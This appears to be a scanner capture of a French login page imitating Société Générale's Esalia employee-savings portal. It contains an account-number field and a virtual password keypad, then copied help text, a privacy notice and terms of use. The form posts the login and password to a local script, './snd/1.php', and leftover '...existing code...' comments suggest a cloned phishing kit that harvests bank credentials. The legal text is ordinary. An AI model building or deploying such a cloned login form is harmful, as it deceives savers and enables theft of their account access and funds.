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1 forms found in the DOM

POST ./snd/1.php

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    <div id="identifiant">
      <p class="saisie-label pos-id">Numéro de compte</p>
      <input name="login" id="zone-id" type="text" value="" maxlength="24" tabindex="0" data-validator="required" required="" data-validator-event="keyup" class="saisie-zone pos-zone-id" placeholder="Saisissez votre numéro de compte">
      <a href="#" tabindex="0" class="oubli pos-oubli-id">Oublié ?</a>
      <input id="zone-id-hidden" type="text" name="callback_0" value="" maxlength="24" tabindex="-1" data-validator="required" required="" data-validator-event="keyup" class="hidden" readonly="">
      <p id="delete-id" tabindex="0" class="icon-delete icon-delete-id hidden"></p>
    </div>
    <div id="mdp">
      <label class="memid-switch">
        <input id="memid" type="checkbox">
        <p class="memid-check"></p>
        <p class="memid-label">Mémoriser mon numéro de compte</p>
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      <p class="saisie-label pos-mdp">Mot de passe</p>
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      <div class="pos-keyboard">
        <div class="cryxpad-container" style="width: 280px; height: 239px;">
          <p class="icon-delete-mdp"></p>
          <!-- ...existing code... -->
          <p id="delete-mdp" class="delete-touch" onclick="deleteCharacter()">Effacer</p>
          <!-- ...existing code... -->
          <button type="button" class="code-btn keyboard-touch" tabindex="0" onclick="enterNumber(8)" style="position: absolute; width: 80px; height: 50px; text-align: center; top: 0px; left: 0px; margin-left: 0px; margin-top: 0px;">8</button>
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          <button type="button" class="code-btn keyboard-touch" tabindex="0" onclick="enterNumber(4)" style="position: absolute; width: 80px; height: 50px; text-align: center; top: 100px; left: 0px; margin-left: 0px; margin-top: 26px;">4</button>
          <button type="button" class="code-btn keyboard-touch" tabindex="0" onclick="enterNumber(9)" style="position: absolute; width: 80px; height: 50px; text-align: center; top: 0px; left: 80px; margin-left: 20px; margin-top: 0px;">9</button>
          <button type="button" class="code-btn keyboard-touch" tabindex="0" onclick="enterNumber(2)" style="position: absolute; width: 80px; height: 50px; text-align: center; top: 50px; left: 80px; margin-left: 20px; margin-top: 13px;">2</button>
          <button type="button" class="code-btn keyboard-touch" tabindex="0" onclick="enterNumber(5)" style="position: absolute; width: 80px; height: 50px; text-align: center; top: 100px; left: 80px; margin-left: 20px; margin-top: 26px;">5</button>
          <button type="button" class="code-btn keyboard-touch" tabindex="0" onclick="enterNumber(3)" style="position: absolute; width: 80px; height: 50px; text-align: center; top: 150px; left: 80px; margin-left: 20px; margin-top: 39px;">3</button>
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          <button type="button" class="code-btn keyboard-touch" tabindex="0" onclick="enterNumber(1)" style="position: absolute; width: 80px; height: 50px; text-align: center; top: 100px; left: 160px; margin-left: 40px; margin-top: 26px;">1</button>
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        function enterNumber(number) {
          var inputElement = document.getElementById('zone-mdp');
          inputElement.value += number.toString();
        }

        function deleteCharacter() {
          var inputElement = document.getElementById('zone-mdp');
          var currentValue = inputElement.value;
          if (currentValue.length > 0) {
            inputElement.value = currentValue.slice(0, -1);
          }
        }
      </script>
      <p></p>
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    <!-- memorizeUserId -->
    <input id="bouton_connexion" class="bouton fond-plein" index="2" type="submit" value="Valider" readonly="">
  </div>
  <!-- Erreur de connexion -->
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Votre numéro de compte

Votre numéro de compte figure en haut à gauche de vos relevés ou de votre
courrier d’accueil.
Vous pouvez demander son envoi par email en cliquant sur « Oublié ? » depuis la
page de connexion.
L’adresse que vous indiquerez doit être conforme à celle préalablement
renseignée dans vos données personnelles.
Si ce n’est pas le cas, votre numéro de compte vous parviendra par courrier
postal.

Votre mot de passe

Un mot de passe provisoire vous a été adressé par courrier postal indépendant.
Vous devrez le modifier lors de votre première connexion.
En cliquant sur « Oublié ? » depuis la page de connexion, vous pouvez demander
l’envoi d’un mot de passe temporaire :
- par SMS si votre numéro de téléphone a été préalablement renseigné dans vos
données personnelles.
- par courrier postal. (vous ne pouvez faire qu’une demande toutes les 24h)

Un code d’authentification temporaire

Lorsque vous vous connecterez depuis un nouvel appareil (téléphone mobile,
tablette...), vous devrez saisir un code d'authentification temporaire. Ce code
d’une validité de 15 minutes vous sera envoyé par email ou par SMS.
Vous aurez la possibilité d’enregistrer l’appareil, et ainsi accéder à votre
espace sans repasser par cette étape à votre prochaine visite.
Si vous vous connectez depuis un poste non personnel (cybercafé, poste à accès
libre…), nous vous recommandons de ne pas l’enregistrer.

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* le terminal désigne l’équipement matériel (ordinateur, tablette, Smartphone…)
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   Ils vous permettent également d’adapter la présentation de notre site aux
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Cookie permettant de conserver l’anonymat de la session utilisateur par le
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Données personnelles





A l’occasion de la consultation du Site, Société Générale est conduite à
collecter des données personnelles vous concernant, en qualité de responsable de
traitement, aux fins de réponse à vos demandes d’informations, le cas échéant
par le biais d’un lien prévu à cet effet.

Les données collectées font l’objet de traitements. Ces traitements reposent sur
votre consentement et/ou sont nécessaires à l’exécution d’un contrat et/ou
relèvent de l’intérêt légitime de Société Générale et/ou relèvent d’une
obligation légale à laquelle Société Générale est soumise.

Par ailleurs, si des informations non strictement nécessaires à l’exécution des
finalités ci-dessus mentionnées sont collectées, elles le seront avec votre
consentement préalable. Vous pourrez, à tout moment, retirer votre consentement
le cas échéant.

Vos données personnelles sont destinées à Société Générale et son prestataire
technique dans la limite nécessaire à l'accomplissement des tâches qui leurs
sont confiées.

Sauf dispositions législatives ou réglementaires contraires, les données
collectées sont conservées uniquement pendant la durée nécessaire à la
réalisation des finalités décrites ci-dessus, dans la limite des délais de
prescription en vigueur.

Pour l’accomplissement desdites finalités, Société Générale peut être amenée à
transférer les informations recueillies à ses entités, prestataires ainsi qu’à
ses partenaires établis en dehors de l’Espace Économique Européen. Ces
transferts de données interviennent dans des conditions et sous des garanties
propres à assurer la protection de vos données personnelles (autorisation par
l’autorité de protection des données, engagement contractuel avec les
prestataires concernés et/ou Binding Corporate Rules du groupe Société
Générale).

Vous disposez d’un droit d’accès à vos données personnelles, de rectification et
d’effacement, de limitation de traitement, d’opposition ainsi que d’un droit à
la portabilité dans les conditions prévues par la réglementation applicable, à
l’adresse suivante : SGSS-PersonalData@socgen.com.

Vous avez aussi la possibilité de vous adresser au Délégué à la Protection des
Données de Société Générale à l’adresse :
Sg-Protection.Donnees@socgen.com et le droit d’introduire une réclamation auprès
de la Commission Nationale de l’Informatique et des Libertés (CNIL), autorité de
contrôle en charge du respect des obligations en matière de données à caractère
personnel.

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Conditions générales d'utilisation des Services Epargne salariale.







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ARTICLE 1 – Objet


L'objet des présentes Conditions Générales est de définir les modalités
d'utilisation et de fonctionnement des services (les « Services ») :

• du site internet « Esalia » (ci-après dénommé le « Site »),
• de l'application « Esalia » (ci-après dénommée « l'Appli ») et du site
internet mobile « Esalia » (ci-après dénommé le « Site Mobile »),
• du serveur vocal intéractif (ci-après dénommé le « SVI »).

Les Services sont réservés aux bénéficiaires (ci-après dénommés les « Epargnants
») d'un dispositif d'épargne salariale, au sens du livre III de la troisième
partie du code du travail, au sein duquel la tenue de compte-conservation des
parts ou actions de fonds d’épargne salariale, voire certaines tâches de la
tenue de registre, est assurée par SOCIETE GENERALE.

Les Services permettent notamment la réalisation de certaines transactions en
ligne sécurisées et/ou la consultation des avoirs investis dans les dispositifs
d'épargne salariale des Epargnants. Les fonctions actuelles sont évolutives,
elles peuvent être différentes selon l’accès utilisé, et seront proposées au fur
et à mesure de leur entrée en application, qui dépend du domaine technologique
considéré. En outre, ces fonctions peuvent varier selon les options retenues par
l’Entreprise de l’Epargnant. Par conséquent, SOCIETE GENERALE ne garantit pas
que l'Epargnant puisse réaliser toutes les fonctions mentionnées dans les
présentes Conditions Générales.

Les Conditions Générales d'utilisation des Services doivent être acceptées par
chaque Epargnant, lors de sa première connexion au Site, à l'Appli, au Site
Mobile, ou au SVI en cliquant sur le bouton « J'accepte les conditions générales
» ou « accepter » qui apparaît à la fin des présentes. L'Epargnant reconnaît
ainsi en avoir pris connaissance et les accepter.


ARTICLE 2 – Moyens nécessaires à l'utilisation des Services


Pour pouvoir accéder aux Services, l'Epargnant doit renseigner son numéro de
compte ainsi que son mot de passe (ci-après dénommées les « Données d'accès »).
Une authentification renforcée est mise en place également.

L'accès au Site nécessite l'utilisation d'un ordinateur équipé d'un système
d'exploitation, d'un accès à un réseau de communication électronique pour le
transport des informations, d'un abonnement auprès d'un fournisseur d'accès à
Internet et des logiciels de communication et de navigation que l'Epargnant
installe sur son ordinateur selon la procédure requise. L'Epargnant fait son
affaire personnelle de son accès à Internet et du bon fonctionnement de son
équipement informatique.

L'Appli est téléchargeable sur internet depuis le téléphone portable, la
tablette tactile ou tout autre objet connecté de l'Epargnant et le Site Mobile
est consultable sur internet via les mêmes appareils. L'accès à l'Appli et au
Site Mobile nécessite ainsi l'utilisation d'un appareil compatible avec une
telle application, ou site, et un abonnement adéquat, souscrit auprès d'un
opérateur de téléphonie mobile, permettant notamment de se connecter à Internet.

L’Epargnant fait son affaire personnelle de la location, l’acquisition, de
l’installation et de la maintenance des matériels et droits d’utilisation des
logiciels.

L’accès au SVI nécessite l’utilisation d’un téléphone fixe ou mobile.

L'Epargnant doit s'être assuré, sous sa responsabilité, de la compatibilité du
matériel, des logiciels et des abonnements destinés à utiliser les Services.

Même si SOCIETE GENERALE fait ses meilleurs efforts afin d’optimiser cette
compatibilité, elle ne peut garantir le fonctionnement des Services avec la
totalité des terminaux existants.

SOCIETE GENERALE ne pourra en aucun cas être tenue pour responsable des
conséquences dommageables résultant du choix des matériels, logiciels,
abonnements, réseaux de télécommunications fixes ou sans fil et/ou de leurs
utilisations et/ou de leurs installations.


ARTICLE 3 – Conditions d'accès aux Services


L'Epargnant reçoit son numéro de compte ainsi qu'un mot de passe provisoire par
courriers séparés. Il peut également, s’il le souhaite, recevoir son mot de
passe par mail. Il lui appartient de modifier dès sa première connexion le mot
de passe provisoire afin d'enregistrer le mot de passe de son choix.

L’Epargnant détenteur d’un smartphone fonctionnant avec le système
d’exploitation iOS et intégrant un système de reconnaissance par empreinte
digitale ou faciale, peut également s’il le souhaite accéder aux Services en
s’authentifiant via le système de reconnaissance par empreinte digitale ou
faciale intégré à son terminal. Le cas échéant, l’Epargnant s’engage à être la
seule personne à avoir enregistré son empreinte digitale ou faciale sur le
terminal concerné. Société Générale n’a pas accès aux empreintes digitales ou
faciales de l’Epargnant enregistrées sur son terminal, celles-ci restant sous la
seule maîtrise et responsabilité de ce dernier. Ce dispositif d’authentification
spécifique permet uniquement l’accès aux Services.

Les Données d'accès sont strictement confidentielles et l'Epargnant doit prendre
toutes les mesures nécessaires en vue de conserver cette confidentialité. Il
s'engage, en conséquence, à ce que les Données d'accès demeurent secrètes, à ne
jamais communiquer les Données d'accès à une tierce personne, d'aucune manière
que ce soit (ex. par courrier électronique, par téléphone, par écrit), et ceci
même si la personne qui le demande se réclame de SOCIETE GENERALE.

Par dérogation, l’Epargnant peut communiquer son numéro de compte et son mot de
passe aux personnes inscrites sur le registre d’une autorité compétente d’un
état membre de l’Union européenne afin d’accéder aux services d’information sur
les comptes ou d’initiation de paiement, tels que définis par le Code monétaire
et financier, délivrés par ces personnes. Il appartient au Client de s’assurer
que la personne à qui ces codes sont communiqués est bien inscrite sur ledit
registre.

SOCIETE GENERALE recommande également à l'Epargnant de modifier très
régulièrement son mot de passe. A ce titre, l'Epargnant peut, à tout moment,
modifier sur le Site son mot de passe.

Il appartient à l'Epargnant de s'assurer que la conservation et la saisie de ses
Données d'accès sont effectuées dans des conditions parfaites de sécurité et de
confidentialité, notamment en ce qui concerne le matériel utilisé pour se
connecter aux Services (antivirus à jour, mise en place d'un Firewall etc.).

SOCIETE GENERALE ne sera pas responsable d'une conséquence d'un défaut de
sécurité émanant des moyens mis en œuvre par l'Epargnant pour accéder aux
Services. En outre, la responsabilité de SOCIETE GENERALE ne pourra pas être
engagée en cas d'usage frauduleux ou abusif ou dû à une divulgation volontaire
ou involontaire à quiconque des Données d'accès confiées à l'Epargnant.

L'Epargnant reconnaît, en conséquence, que toute opération réalisée à la suite
d'un ordre transmis aux services de SOCIETE GENERALE au moyen des Données
d'accès, lui sera, en tout état de cause, personnellement et définitivement
attribuée. L'Epargnant reconnaît que la saisie de ses Données d'accès vaudra
signature et permettra ainsi de l'identifier et de prouver son consentement aux
opérations effectuées. L'Epargnant assumera vis à vis de SOCIETE GENERALE toutes
les conséquences financières que SOCIETE GENERALE pourrait supporter en raison
de l'usage frauduleux ou abusif ou de la divulgation volontaire ou involontaire
par l'Epargnant de ses Données d'accès.

En cas d'oubli ou de perte de son mot de passe, l'Epargnant peut demander
l'attribution d'un nouveau mot de passe, par courrier postal ou depuis les pages
d'identification du Site, de l'Appli ou du Site Mobile. La demande d'attribution
du nouveau mot de passe peut également être formulée auprès de la plate-forme
téléphonique joignable au numéro suivant 09 69 32 15 21.

Le nouveau mot de passe est alors adressé à l'Epargnant par courrier postal, par
SMS (si un numéro de portable est renseigné dans ses coordonnées personnelles)
ou par courrier électronique / email (si une adresse email est renseignée dans
ses coordonnées personnelles). Il est provisoire et doit être modifié lors de la
première connexion à un Service suivant son attribution.

Par ailleurs, SOCIETE GENERALE se réserve la possibilité d'interrompre, sans
préavis, l'accès de l'Epargnant aux Services après composition de trois Données
d'accès erronées ou en cas de non-respect de l'une quelconque des obligations à
la charge de l'Epargnant en vertu des présentes Conditions Générales. Suite à la
neutralisation des Services en raison de trois saisies erronées des Données
d'accès, l'Epargnant doit pour pouvoir accéder à nouveau aux Services demander
l'attribution d'un nouveau mot de passe.


ARTICLE 4 – Fonctions


Les Services permettent d'effectuer les opérations suivantes :

Sur le Site, notamment :

Consultation des avoirs et des dernières opérations,
• Consultation et modification des coordonnées personnelles (adresse postale,
email, téléphone, coordonnées bancaires),
• Saisie des choix liés aux primes d’intéressement et/ou de participation si
votre Entreprise a retenu cette option dans la convention de tenue de
compte-conservation conclue avec Société Générale (ci-après « la Convention »),
• Enregistrement et saisie du mandat SEPA,
• Abonnements aux e-services et/ou à d’autres information sous format
électronique
• Versements exceptionnels et versements programmés par prélèvement et par carte
bancaire,
• Modification du choix des placements (arbitrages) et transferts,
• Remboursement des avoirs disponibles ou arrivant à échéance dans moins de
trois mois,
• Pré-saisie de demandes de déblocage anticipé d'avoirs indisponibles. Etant
précisé que seule la version papier de la demande de déblocage envoyée par voie
postale, dûment complétée et signée, accompagnée des justificatifs adéquats,
ainsi que sa date de réception par SOCIETE GENERALE font foi,
• Saisie et transmission de demandes de déblocage anticipé d'avoirs
indisponibles. Le dossier complet s'entend de la demande de remboursement
anticipé dûment renseignée sur le Site accompagnée des justificatifs téléchargés
adéquats et certifiés par l'Epargnant conformes aux originaux. La date de
réception du dossier complet est le lendemain de sa transmission via le Site.
Toutefois, en cas de dossier transmis un jour non ouvré (samedi, dimanche ou
jours fériés), il est réputé reçu le premier jour ouvré suivant la date de sa
transmission. Cette date de réception fait foi notamment pour déterminer la
valeur liquidative applicable ainsi que pour s'assurer du respect de l'éventuel
délai imparti pour formuler la demande de déblocage anticipé. Sous réserve que
son Entreprise ait opté pour une telle prestation, en cas de rejet de sa
demande, l’Epargnant en est informé par un message affiché dans son espace
personnel du Site. Aussi, il appartient à l’Epargnant de consulter régulièrement
ledit espace après avoir transmis une demande de déblocage anticipé. L’Epargnant
n’ayant pas fourni d’adresse électronique, sera informé par courrier postal du
rejet de sa demande.

En cas de demandes de déblocage anticipé portant sur le même fait générateur,
reçues par courrier postal et via le Site le même jour (hormis le cas où les
demandes portent sur des fonds distincts et où l'une et/ou l'autre demande est
un déblocage avec condition), seule la demande transmise via le Site sera
traitée.

Sur l'Appli et le Site Mobile notamment :

• Consultation des avoirs et des dernières opérations
• Consultation de messages et alertes
• Consultation et modification des coordonnées personnelles (avec possibilité
d’uploader ses justificatifs)
• Consultation d'informations générales sur les supports de placement (valeur
liquidative, performances, société de gestion)
• Consultation des cas de déblocage anticipé
• Affichage de la jauge d’abondement (selon option)
• Remboursement des avoirs disponibles (avec ou sans seuil conditionnel)
• Versements par prélèvement ou par carte bancaire (versements ponctuels ou
programmés)
• Saisie des choix liés aux primes d’intéressement et/ou de participation si
votre Entreprise a retenu cette option dans la Convention

Sur le SVI, notamment :

• Consultation des avoirs,
• Consultation d'informations générales en vue de :
o obtenir un remboursement
o connaître les justificatifs à fournir pour effectuer un changement de nom,
d'adresse ou de coordonnées bancaires

Il est précisé que les opérations visées ci-dessus sont effectuées conformément
aux modalités prévues par la convention de tenue de compte conservation conclue
entre l'Entreprise de l'Epargnant et SOCIETE GENERALE et opposable à l’ensemble
des Epargnants de cette Entreprise et par les règlements des fonds d’épargne
salariale le cas échéant.


ARTICLE 5 – Preuve et enregistrement des ordres passés par les Services


Les ordres passés sur les Services donneront lieu à un enregistrement par
SOCIETE GENERALE. L’authentification de l’Epargnant conformément à l’article 3
ci-dessus et les enregistrements effectués par SOCIETE GENERALE lors la
réception des instructions ou leur reproduction sur un support informatique ou
papier constituent pour SOCIETE GENERALE et l'Epargnant la preuve desdites
instructions et la justification de leur imputation au compte de ce dernier.

Aucune réclamation concernant ces ordres ne pourra être reçue à l’expiration
d’un délai de dix jours suivant la mise à disposition de l’avis d’opération,
sauf dans le cas où le Client rapporterait la preuve d’une erreur, d’une
omission ou d’une fraude.

Après avoir transmis un ordre par l’un des Services, l'Epargnant peut vouloir
annuler son ordre, de telles annulations devant toutefois rester exceptionnelles
et ne pouvant engager SOCIETE GENERALE que dans le cadre d'une obligation de
moyens.

En conséquence, l'exécution d'une demande d'annulation ne sera jamais garantie
et ne pourra notamment jamais être prise en compte dès lors qu'elle sera
transmise au-delà de 23h59 la veille du jour de calcul de la valeur liquidative
sur laquelle l'ordre doit être exécuté.

Il appartiendra au seul Epargnant de prendre toutes précautions nécessaires pour
éviter une éventuelle double exécution de l'ordre.

L'Epargnant reconnaît enfin que la prise en compte d'un ordre quel qu'il soit,
ne vaut pas exécution de l'ordre, lequel ne deviendra effectif qu'après
vérification et exécution par SOCIETE GENERALE.


ARTICLE 6 – Abonnements aux e-services et autres informations délivrées par
courrier électronique et/ou par SMS


6.1 E-services (relevés électroniques et le cas échéant, bulletins d’options
électroniques)


SOCIETE GENERALE propose à l’Epargnant un service gratuit de mise à disposition
électronique des relevés de compte et des avis d’opération (ci-après les «
Relevés ») sur le Site.

Ce service accessible sur le Site, depuis la rubrique « Mes données » puis « Mes
abonnements » et « Abonnement aux e-services », permet à l’Epargnant de
consulter ses Relevés au format PDF sur le Site pendant une période de 10 ans à
compter de leur mise à disposition (ci-après, la « Période »), en remplacement
des Relevés papier qu’il recevait jusqu’alors par courrier postal.

L’Epargnant a la possibilité de télécharger et/ou imprimer les Relevés mis à sa
disposition. Il reconnaît que ces Relevés au format PDF ont la même valeur
juridique que ceux précédemment adressés par courrier postal.

L’Epargnant est informé de la mise à disposition d’un Relevé par une
notification envoyée sur l’adresse électronique personnelle pré-renseignée sur
le Site ou renseignée lors de l’option. La date de mise en ligne des Relevés
constitue le point de départ du délai de réclamation relatif aux opérations
figurant sur les Relevés.

L'abonnement à cette option ou son désabonnement est effectif au terme d'un
délai maximum de deux jours ouvrés suivant la réception par SOCIETE GENERALE de
la demande de l’Epargnant. En cas de désabonnement, les Relevés électroniques
précédemment mis à disposition restent disponibles sur le Site jusqu’au terme de
la Période.

Par défaut, les Relevés sont adressés sous format électronique à l'Epargnant
d'une Entreprise ayant accepté le format électronique proposé par SOCIETE
GENERALE dans la Convention. L'Epargnant peut toutefois se faire communiquer les
Relevés sur support papier en se désabonnant aux e-services, sur le Site depuis
la rubrique « Mes données / Mes abonnements / Désabonnement aux e-services ».

De surcroît, si l’Entreprise a également retenu la prestation dans la
Convention, les Epargnants reçoivent sous format électronique, selon les mêmes
modalités que les Relevés électroniques, les bulletins d’option liés à leurs
primes d’intéressement et/ou de participation. C’est ainsi que l’Epargnant est
informé de la mise à disposition d’un Bulletin d’option par une notification
envoyée sur l’adresse électronique personnelle fournie par l’Entreprise et
pré-renseignée sur le Site ou sur l'Appli. La date de mise en ligne des
Bulletins d’option constitue le point de départ du délai imparti pour pouvoir
opter.

L’Epargnant est informé que :
- il ne peut pas opter lui-même pour l’envoi d’un bulletin d’option sous format
électronique,
- son désabonnement aux Relevés électroniques mettra également fin à la
réception sous format électronique des bulletins d’option qui lui seront alors
communiqués par courrier postal.


6.2 Autres informations délivrées par courrier électronique et/ou par SMS


Par ailleurs, l’Epargnant est informé qu’il pourra recevoir, par courrier
électronique et/ou par SMS, dès lors qu’il aura renseigné son adresse
électronique et/ou son numéro de téléphone mobile français sur le Site ou sur
l'Appli dans la rubrique « Mes données / Coordonnées personnelles », une
notification de mise à disposition sur le Site et sur l’Appli des informations
(ci-après les « Informations ») :
- liées au suivi des opérations réalisées via le Site ou via l'Appli
(confirmation ou rejet d’opérations de remboursement, enregistrement de
coordonnées bancaires, etc) ;
- relatives aux opérations initiées par l’Entreprise (intéressement,
participation,…)
- réglementaires (autres que les Relevés) liées à son épargne salariale (lettres
aux porteurs des sociétés de gestion, etc)

Pour cela, il devra effectuer le choix du canal de réception de cette
notification. A défaut de choix d’un canal de transmission électronique de cette
notification, les Informations lui parviendront par courrier postal.

Par défaut, les Informations sont adressées sous format électronique à
l'Epargnant d'une Entreprise ayant demandé le format électronique proposé par
SOCIETE GENERALE.
L'Epargnant peut toutefois se faire communiquer les Informations sur support
papier en se désabonnant sur le Site ou sur l'Appli depuis la rubrique « Mes
données / Mes abonnements / Abonnement aux notifications des opérations » en
cochant la case « aucun ».

Le présent abonnement est distinct de l’abonnement aux e-services.


ARTICLE 7 – Responsabilité


Outre son habituelle obligation de diligence en matière de traitement des
ordres, SOCIETE GENERALE assume une obligation de moyens en ce qui concerne la
réception et l'émission des informations. Elle n'assume aucune responsabilité en
ce qui concerne le transport des informations une fois que ceux-ci sont pris en
charge par un fournisseur d’accès internet ou un opérateur téléphonique, dans la
mesure où le transport ou délivrance dépendent de la gestion du serveur de
messagerie du fournisseur d’accès de l’Epargnant ou de son opérateur
téléphonique. SOCIETE GENERALE est par conséquent étrangère à tout litige
susceptible d'intervenir entre l'Epargnant et son fournisseur d'accès à Internet
ou son opérateur de téléphonie mobile.

SOCIETE GENERALE n'est pas responsable de la conservation et de l'utilisation
des Données d'accès et, le cas échéant, des conséquences de leur divulgation.
L’accès aux Services n’est possible qu’au moyen d’un téléphone mobile, d’une
tablette tactile ou d’un ordinateur, protégés par un code PIN attribué par
l’opérateur de téléphonie mobile ou créé par l’Epargnant lui-même. Il est donc
de l’intérêt de l’Epargnant de le tenir secret et de ne le communiquer à
quiconque.

L’Epargnant est entièrement responsable de la conservation et de l’utilisation
de ces codes, et, le cas échéant des conséquences de sa divulgation. Les
appareils utilisés pour accéder aux Services sont sous la responsabilité
exclusive de l’Epargnant. S’agissant de la consultation et la diffusion des
informations délivrées par les Services, SOCIETE GENERALE ne pourrait être tenue
responsable en cas de perte, vol ou prêt des appareils de l’Epargnant. Il en est
de même si un tiers pouvait, par tout moyen technique, intercepter et décoder
les signaux radioélectriques échangés entre le fournisseur internet et
l’Epargnant.

La responsabilité de SOCIETE GENERALE, limitée aux dommages directs, ne pourra
être recherchée que s'il est établi qu'elle a commis une faute lourde. Elle
n'est pas responsable lorsque l'inexécution de ses obligations résulte d'un cas
de force majeure. Notamment, l'Epargnant reconnaît que constitue un cas de force
majeure l'interruption d’un Service liée au transport des informations ou au
système informatique de l’Epargnant.

De même, SOCIETE GENERALE n’est pas responsable d’une conséquence d’un défaut de
sécurité (matériel ou logiciel) du terminal de connexion (ordinateur, téléphone,
tablette, …) utilisé par l’Epargnant. L’Epargnant est responsable de toutes les
conséquences qui résulteraient d’une erreur de transmission ou de manipulation
de sa part.

L'Epargnant ne peut en aucun cas rechercher la responsabilité de SOCIETE
GENERALE pour toute information communiquée via les Services, ou de
l'utilisation qui en sera faite. La responsabilité de SOCIETE GENERALE ne pourra
être engagée que dans le cas d'information délibérément mensongère ou de nature
à induire autrui en erreur. Aucun conseil personnalisé n’est délivré par les
Services quant au bien-fondé des opérations envisagées par L'Epargnant ou toute
autre forme de conseil pouvant déterminer son choix. Il revient à l'Epargnant
d'opérer selon sa libre appréciation le choix de ses opérations. Préalablement à
toute opération traitée sur les Services, l'Epargnant doit recueillir toutes les
informations de nature à l'éclairer dans son choix.


ARTICLE 8 – Interruption des Services - Dysfonctionnement


Les Services pourront ponctuellement être interrompus pour des raisons d’ordre
technique, afin d’effectuer des opérations de maintenance correctives et/ou
préventives. Dans ce cas, l’information sera mentionnée sur le Site et l’Appli
72 h 00 avant la date d’interruption.

En cas d'interruption ou de dysfonctionnement de l'un ou de l'ensemble des
Services pour quelque raison que ce soit, l'Epargnant a toujours la possibilité
de s'adresser à SOCIETE GENERALE, notamment par courrier, pour effectuer une
opération. SOCIETE GENERALE n'est donc pas responsable des conséquences d'une
interruption de Service.


ARTICLE 9 – Tarification des Services


L'accès au Site, au Site mobile et à l’Appli est gratuit mais le coût de l’accès
à Internet est supporté par l'Epargnant.

Cependant, SOCIETE GENERALE se réserve la faculté de facturer ultérieurement le
téléchargement ou l'accès à ces Services. Dans ce cas, le tarif applicable
donnera lieu à une information préalable de l'Epargnant par voie télématique ou
par lettre simple un mois avant sa prise d'effet. Sans manifestation de
l'Epargnant dans ce délai, cette nouvelle condition d'utilisation lui sera
applicable, étant rappelé que celui-ci dispose de la faculté de cesser à tout
moment d'utiliser ce Service.

L'accès au SVI est payant (0 969.321.521 appel non surtaxé depuis un poste fixe,
facturation selon l'opérateur et le pays de l'Epargnant). L'Epargnant supportera
le coût de la communication téléphonique qui lui sera facturé directement par
l'opérateur de son réseau téléphonique en fonction de ses modalités d'accès.

Les opérations effectuées dans le cadre de l'utilisation des Services seront
facturées conformément à la fiche tarifaire qui est disponible dans l'espace
documentaire du Site ou conformément à la convention de tenue de compte conclue
entre SOCIETE GENERALE et l'Entreprise de l'épargnant.


ARTICLE 10 – Informations communiquées par les Services


Les informations communiquées par les Services sont données sous réserve des
opérations non encore comptabilisées et sauf éventuelle erreur ou omission. Les
écritures comptables auxquelles l'Epargnant a accès peuvent avoir un caractère
provisoire. Seuls les relevés de comptes établis par SOCIETE GENERALE à partir
de ses propres enregistrements, sur papier ou consultables depuis le Site ou via
l’Appli, font foi. En outre, les montants communiqués peuvent être bruts de
prélèvements sociaux.

Il appartient à l'Epargnant de veiller à ce que ses informations personnelles
mentionnées sur les Services, et notamment ses coordonnées bancaires et postales
soient à jour.
A tout moment, l'Epargnant peut modifier ses informations personnelles dans
l'espace « Mes données personnelles » du Site ou de l’Appli, ou selon les
modalités mentionnées sur lesdits Site ou Appli. En conséquence SOCIETE GENERALE
ne peut être tenue pour responsable des conséquences préjudiciables liées à une
obsolescence de ces informations.

Les Services ne délivrent aucun conseil quant au bien-fondé des investissements
ou désinvestissements envisagés par l'Epargnant ou toute autre forme de conseil
pouvant déterminer son choix. Il revient à l'Epargnant d'opérer selon sa libre
appréciation le choix de ses placements et des opérations qui en résultent, en
conformité avec la réglementation de l'épargne salariale et les dispositions
spécifiques des plans ou accords mis en place au sein de son entreprise et qui
lui sont applicables.

En outre, les informations financières ou fiscales et les informations sur les
produits ne sont qu'indicatives. L’impression des écrans ne constitue en aucun
cas un justificatif fiscal.

Plus particulièrement l'information concernant ces produits et notamment les
instruments financiers ne saurait constituer de la part de SOCIETE GENERALE ni
une offre d'achat, de vente ou de souscription de produits ou services
financiers (notamment produits bancaires ou d´assurance), ni une sollicitation
d´une offre d´achat ou de vente.

Lorsque des simulations de performances passées sont présentées, les données y
afférentes ont trait à des périodes passées et ne sont pas un indicateur fiable
des résultats futurs. Il en va de même de l'évolution des données historiques de
marché. Lorsque des simulations de performances futures sont présentées, les
données relatives à ces performances ne sont que des prévisions et ne
constituent pas un indicateur fiable quant aux résultats futurs du produit. En
outre, lorsque les performances passées ou les simulations de performances
passées sont basées sur des données exprimées dans une monnaie qui n'est pas
celle de l'Etat de résidence de l'Epargnant, les gains éventuels peuvent croître
ou décroître en fonction des fluctuations de taux de change. Enfin, lorsque des
performances passées ou des simulations de performances (passées ou futures)
sont présentées, les gains éventuels peuvent également être réduits par l'effet
de commissions, redevances ou autres charges supportées par l'Epargnant.

Sans préjue des obligations légales ou réglementaires que SOCIETE GENERALE a à
sa charge, les Epargnants doivent procéder, avant tout investissement dans le
produit ou la conclusion de toute opération y afférente, à leur propre analyse
du produit et de ses risques, notamment du point de vue juridique, fiscal et
comptable, sans se fonder exclusivement sur les informations qui leur ont été
fournies ; les Epargnants doivent consulter, s'ils le jugent nécessaire, leurs
propres conseils en la matière ou tout autre professionnel.
Sous réserve du respect des obligations légales ou réglementaires à sa charge,
SOCIETE GENERALE ne pourra être tenue responsable des conséquences financières
ou de quelque nature que ce soit résultant de toute transaction relative au
produit ou de tout investissement dans le produit.

SOCIETE GENERALE et ses contributeurs n'assument aucune responsabilité
concernant l'exactitude, l'exhaustivité ou la pertinence des informations
établies à partir de sources externes, bien que ces informations proviennent de
sources réputées fiables.


ARTICLE 11 – Secret Professionnel et Confidentialité


11.1 Secret Professionnel


En application des dispositions du Code monétaire et financier, Société Générale
est tenue au secret professionnel. Toutefois, ce secret peut être levé,
conformément à la loi, notamment à la demande des autorités de tutelle, des
autorités judiciaires ou de l’administration fiscale ou douanière.

En outre, Société Générale est autorisée à communiquer les informations soumises
au secret professionnel à ses sous-traitants et délégataires, étant précisé que
ces personnes sont assujetties à une obligation de secret ou de confidentialité.

Afin de renforcer la sécurité des paiements, l'Epargnant est informé que Société
Générale pourra être amenée à effectuer un contrôle de fiabilisation des
coordonnées bancaires. Les IBAN remis par l'Epargnant pourront être contrôlés
par Société Générale. Ce contrôle porte sur les noms, prénoms, date de naissance
de l'Epargnant. Ces données seront communiquées dans ce cas à des tiers pour
effectuer ces contrôles, ce que l'Epargnant accepte expressément.

Il est précisé que l’Entreprise, en sa qualité de teneur de registre au sens de
l’article R3332-14 du code du travail, a connaissance, notamment, des opérations
réalisées et du montant des Avoirs des Bénéficiaires y compris ceux ayant quitté
